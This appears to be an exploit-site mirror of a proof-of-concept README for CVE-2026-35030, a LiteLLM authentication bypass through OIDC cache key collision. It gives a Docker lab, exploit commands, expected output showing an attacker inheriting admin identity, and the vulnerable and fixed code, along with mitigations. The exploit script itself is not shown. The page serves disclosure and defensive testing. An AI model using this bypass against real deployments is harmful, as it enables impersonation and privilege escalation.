Share
## https://sploitus.com/exploit?id=870BAA59-CF95-5581-8FCA-FB8BCC6CD2A7
# CVE-2026-35030 โ LiteLLM Authentication Bypass via OIDC Userinfo Cache Key Collision
> **LiteLLM** OIDC userinfo cache uses `token[:20]` as the cache key. Two different JWTs
> signed with the same algorithm produce **identical first 20 characters**, allowing an
> unauthenticated attacker to inherit another user's cached identity and permissions.
| Field | Value |
|-------|-------|
| **CVE** | **CVE-2026-35030** |
| **CVSS v4.0** | **9.4 (CRITICAL)** โ `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N` |
| **CVSS v3.1** | **9.1 (CRITICAL)** โ `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` |
| **CWE** | CWE-287 (Improper Authentication) / CWE-222 (Insufficiently Protected Credentials) |
| **Affected** | LiteLLM **..
```
The **header** (e.g., `{"alg":"RS256","typ":"JWT"}`) encodes identically for all tokens
using the same signing algorithm. This means two different JWTs โ issued to completely
different users โ will have the **same first 20 characters**.
### Attack Flow
```
1. Admin authenticates โ LiteLLM fetches userinfo โ cached with key = token[:20]
โ
2. Attacker crafts JWT with same algorithm (RS256) โโโโโโโโโโโโโโโโโ
โ token[:20] is IDENTICAL โ cache HIT โ inherits admin identity
```
### Impact
- **Authentication bypass**: attacker inherits any cached user's identity
- **Privilege escalation**: if admin's userinfo is cached, attacker gains admin privileges
- **Confidentiality + Integrity breach**: attacker can access/modify resources as the victim
- No authentication required (attacker can be unauthenticated)
---
> **Note on Enterprise Licensing:** JWT/OIDC auth is an enterprise-only feature in LiteLLM
> (requires `LITELLM_LICENSE`). For local CVE reproduction, both Dockerfiles patch the
> `premium_user` check to `True`. This does **not** affect the vulnerability โ the cache
> key collision (`token[:20]`) exists independently of the enterprise check.
>
> The first startup runs Prisma migrations (~60-90s). LiteLLM will be ready when the logs
> show `"Uvicorn running on http://0.0.0.0:4000"`.
## Proof of Concept
### Quick Start (Docker)
```bash
# 1. Build and start vulnerable LiteLLM + mock OIDC provider
docker compose up -d --build
# 2. Install Python dependencies
pip install -r requirements.txt
# 3. Create test users (required for JWT auth โ master key needed)
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "admin", "role": "proxy_admin"}'
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "attacker", "role": "proxy_admin"}'
# 4. Demonstrate the cache key collision
python3 exploit/exploit.py --mode demo
# 5. Run the full exploit (auth bypass via cache collision)
python3 exploit/exploit.py --mode exploit --target http://localhost:4000
# 6. (Optional) Verify it's fixed in v1.83.0+
docker compose --profile fixed up -d --build litellm-fixed
python3 exploit/exploit.py --mode exploit --target http://localhost:4001 --fixed
```
### Expected Output
**Demo mode** โ shows the cache key collision:
```
[+] Admin JWT (subject=admin):
Token: eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
Prefix: 'eyJhbGciOiJSUzI1NiIs'
[+] Attacker JWT (subject=attacker):
Token: eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
Prefix: 'eyJhbGciOiJSUzI1NiIs'
[๐ฅ] COLLISION: Both tokens share the same first 20 characters!
Reason: Both tokens use RS256 signing โ identical JWT header base64 โ identical first 20 characters
โ cache_key = token[:20] = 'eyJhbGciOiJSUzI1NiIs'
```
**Exploit mode** โ demonstrates the actual auth bypass:
```
[VULNERABLE] Exploit Attempt โ target: http://localhost:4000
[*] Step 1: Obtaining JWTs from OIDC provider...
Prefix collision: True
[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...
HTTP 200
Response: {"user_id": "admin", ...}
[*] Step 3: Sending attacker JWT (cache collision attempt)...
HTTP 200
Response: {"user_id": "admin", ...} โ INHERITED ADMIN!
[๐ฅ] EXPLOIT SUCCEEDED! Attacker inherited admin identity!
Attacker's token[:20] matched admin's cache key.
Response user_id='admin' (expected 'admin' for escalation)
```
**Fixed version** โ sha256 cache key prevents the collision:
```
[FIXED] Exploit Attempt โ target: http://localhost:4001
[*] Step 1: Obtaining JWTs from OIDC provider...
Prefix collision: True
[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...
HTTP 200
Response: {"user_id": "admin", ...}
[*] Step 3: Sending attacker JWT (cache collision attempt)...
HTTP 200
Response: {"user_id": "attacker", ...} โ OWN IDENTITY preserved
[+] Attacker identified as user_id='attacker'.
Fixed version: cache collision prevented.
```
---
## Technical Details
### Root Cause
In `litellm/proxy/auth/handle_jwt.py`, the OIDC userinfo
cache is keyed by `token[:20]`:
```python
# Vulnerable (pre-1.83.0) โ litellm/proxy/auth/handle_jwt.py
cache_key = f"oidc_userinfo_{token[:20]}" # Only first 20 chars!
cached_userinfo = await user_api_key_cache.async_get_cache(cache_key)
if cached_userinfo is not None:
return cached_userinfo # Cache hit โ skip userinfo fetch!
# Fixed (v1.83.0+) โ same file, line 625
import hashlib
cache_key = f"oidc_userinfo_{hashlib.sha256(token.encode()).hexdigest()}"
```
### Why `token[:20]` Is Insufficient
| Token component | Includes user-specific data? | Fixed for same algorithm? |
|-----------------|------------------------------|---------------------------|
| Header (first ~30 chars) | โ No | โ
Yes โ identical base64 |
| Payload (user-specific) | โ
Yes | โ No โ unique per user |
| Signature | โ
Yes | โ No โ unique per key |
Since **the header is the only part within the first 20 characters**, and the header is
identical for all tokens using the same signing algorithm, every RS256 JWT from the same
issuer has the **exact same first 20 characters**.
### Attack Scenarios
| Scenario | Description |
|----------|-------------|
| **Privilege Escalation** | Low-privilege user becomes admin via cache collision |
| **Horizontal Impersonation** | Impersonate any user whose userinfo is cached |
| **Auth Bypass Chain** | Combine with CVE-2026-35029 to achieve RCE |
---
## Environment
```
CVE-2026-35030/
โโโ README.md # This file
โโโ docker-compose.yml # Vulnerable + fixed LiteLLM + mock OIDC
โโโ litellm_config.yaml # LiteLLM config with JWT auth enabled
โโโ requirements.txt # Python dependencies (PoC)
โโโ litellm-vuln/
โ โโโ Dockerfile # Vulnerable LiteLLM v1.82.5 with enterprise patch
โโโ litellm-fixed/
โ โโโ Dockerfile # Fixed LiteLLM v1.83.0+ with sha256 cache key
โโโ oidc-provider/
โ โโโ Dockerfile # Mock OIDC provider image
โ โโโ requirements.txt
โ โโโ server.py # OIDC mock (FastAPI)
โโโ exploit/
โ โโโ exploit.py # Main PoC exploit script
โ โโโ token_forge.py # JWT collision utilities
โโโ docs/
โ โโโ advisory.md # Advisory reference
โโโ screenshots/
โโโ README.md # Proof screenshots placeholder
```
---
## Mitigation
1. **Upgrade** to LiteLLM **v1.83.0+** (cache key uses `sha256(token)`)
2. **Disable JWT/OIDC auth** if not needed: `enable_jwt_auth: false`
3. **Restrict network exposure** of LiteLLM endpoints
4. **Set short OIDC cache TTL** to reduce the attack window
---
## References
- [GitHub Security Advisory GHSA-jjhc-v7c2-5hh6](https://github.com/BerriAI/litellm/security/advisories/GHSA-jjhc-v7c2-5hh6)
- [GitLab Advisory](https://advisories.gitlab.com/pypi/litellm/CVE-2026-35030/)
- [NVD Detail](https://nvd.nist.gov/vuln/detail/CVE-2026-35030)
- [LiteLLM Security Hardening (April 2026)](https://docs.litellm.ai/blog/security-hardening-april-2026)
- [v1.83.0-stable Release](https://github.com/BerriAI/litellm/releases/tag/v1.83.0-stable)
---
> **Disclaimer:** This content is provided for **educational purposes and authorized security testing only.**